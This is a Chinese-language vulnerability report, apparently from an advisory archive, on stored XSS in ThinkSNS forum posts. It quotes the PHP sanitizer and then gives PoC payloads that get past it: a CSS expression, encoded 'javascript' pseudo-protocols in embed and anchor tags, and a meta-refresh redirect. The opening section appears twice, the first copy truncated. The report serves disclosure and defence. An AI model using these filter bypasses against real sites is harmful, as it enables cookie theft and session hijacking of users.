### 简要描述: 存储型XSS ### 详细说明: thinksns在微吧的应用中,允许用户发表帖子,而帖子是富文本。 所以,不可避免地涉及到富文本中xss的过滤。而问题就出来过滤的地方。 thinksns使用如下函数过滤传入的参数 ``` function h($text, $type = 'html'){ // 无标签格式 $text_tags = ''; //只保留链接 $link_tags = '<a>'; //只保留图片 $image_tags = '<img>'; //只存在字体样式 $font_tags = '<i><b><u><s><em><strong><font><big><small><sup><sub><bdo><h1><h2><h3><h4><h5><h6>'; //标题摘要基本格式 $base_tags = $font_tags.'<p> <hr><a><img><map><area><pre><code><q><blockquote><acronym><cite><ins><del><center><strike>'; //兼容Form格式 $form_tags = $base_tags.'<form><input><textarea><button><select><optgroup><option><label><fieldset><legend>'; //内容等允许HTML的格式 $html_tags = $base_tags.'<meta><ul><ol><li><dl><dd><dt><table><caption><td><th><tr><thead><tbody><tfoot><col><colgroup><div><span><object><embed><param>'; //专题等全HTML格式 $all_tags = $form_tags.$html_tags.'<!DOCTYPE><html><head><title><body><base><basefont><script><noscript><applet><object><param><style><frame><frameset><noframes><iframe>'; //过滤标签 $text = real_strip_tags($text,...
### 简要描述: 存储型XSS ### 详细说明: thinksns在微吧的应用中,允许用户发表帖子,而帖子是富文本。 所以,不可避免地涉及到富文本中xss的过滤。而问题就出来过滤的地方。 thinksns使用如下函数过滤传入的参数 ``` function h($text, $type = 'html'){ // 无标签格式 $text_tags = ''; //只保留链接 $link_tags = '<a>'; //只保留图片 $image_tags = '<img>'; //只存在字体样式 $font_tags = '<i><b><u><s><em><strong><font><big><small><sup><sub><bdo><h1><h2><h3><h4><h5><h6>'; //标题摘要基本格式 $base_tags = $font_tags.'<p> <hr><a><img><map><area><pre><code><q><blockquote><acronym><cite><ins><del><center><strike>'; //兼容Form格式 $form_tags = $base_tags.'<form><input><textarea><button><select><optgroup><option><label><fieldset><legend>'; //内容等允许HTML的格式 $html_tags = $base_tags.'<meta><ul><ol><li><dl><dd><dt><table><caption><td><th><tr><thead><tbody><tfoot><col><colgroup><div><span><object><embed><param>'; //专题等全HTML格式 $all_tags = $form_tags.$html_tags.'<!DOCTYPE><html><head><title><body><base><basefont><script><noscript><applet><object><param><style><frame><frameset><noframes><iframe>'; //过滤标签 $text = real_strip_tags($text, ${$type.'_tags'}); // 过滤攻击代码 if($type != 'all') { // 过滤危险的属性,如:过滤on事件lang js while(preg_match('/(<[^><]+)(ondblclick|onclick|onload|onerror|unload|onmouseover|onmouseup|onmouseout|onmousedown|onkeydown|onkeypress|onkeyup|onblur|onchange|onfocus|action|background|codebase|dynsrc|lowsrc)([^><]*)/i',$text,$mat)){ $text = str_ireplace($mat[0], $mat[1].$mat[3], $text); } while(preg_match('/(<[^><]+)(window\.|javascript:|js:|about:|file:|document\.|vbs:|cookie)([^><]*)/i',$text,$mat)){ $text = str_ireplace($mat[0], $mat[1].$mat[3], $text); } } return $text; } function real_strip_tags($str, $allowable_tags="") { $str = html_entity_decode($str,ENT_QUOTES,'UTF-8'); return strip_tags($str, $allowable_tags); } ``` 其中,传入的第一个参数是富文本内容,第二个参数默认。 因为过滤不严,利用方法如下 01.IE下使用style标签,expression来执行xss,POC如下: ``` <img style=xss:expre\ssion(alert(documen\u0074.c\u006fokie))> ``` 02.FF下使用embed+javascript伪协议,触发xss,POC如下: ``` <embed src=java15;cript:alert(documen\u0074.c\u006fokie)> ``` 以上两个POC都是直接触发的,不需要有用户交互。但受到浏览器限制。 03.通用POC,点击触发: ``` <a href=java15;cript:alert(documen\u0074.c\u006fokie)>click me~</a> ``` 通过字符编码绕过了一些过滤。但需要点击触发,所以相对上面两个比较鸡肋。 04.任意url跳转 ``` <meta http-equiv="refresh" content="0;url=data:text/html,%3Cscript%3Elocation.href%3D%22http%3A%2F%2Fwww.baidu.com%22%3C%2Fscript%3E"> <meta http-equiv="refresh" content="0;url=http://www.baidu.com"> ``` ### 漏洞证明: IE9下触发: [<img src="https://images.seebug.org/upload/201403/2621023260a408b768925cc5d02e134e2b2a29de.jpg" alt="38.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/2621023260a408b768925cc5d02e134e2b2a29de.jpg) Firefox下触发: [<img src="https://images.seebug.org/upload/201403/2621020326584d018b3beea3cbef2d016500b9d0.jpg" alt="36.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/2621020326584d018b3beea3cbef2d016500b9d0.jpg) chrome下点击触发: [<img src="https://images.seebug.org/upload/201403/262102584e4670888967109e44f96adafe053c2c.jpg" alt="37.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/262102584e4670888967109e44f96adafe053c2c.jpg)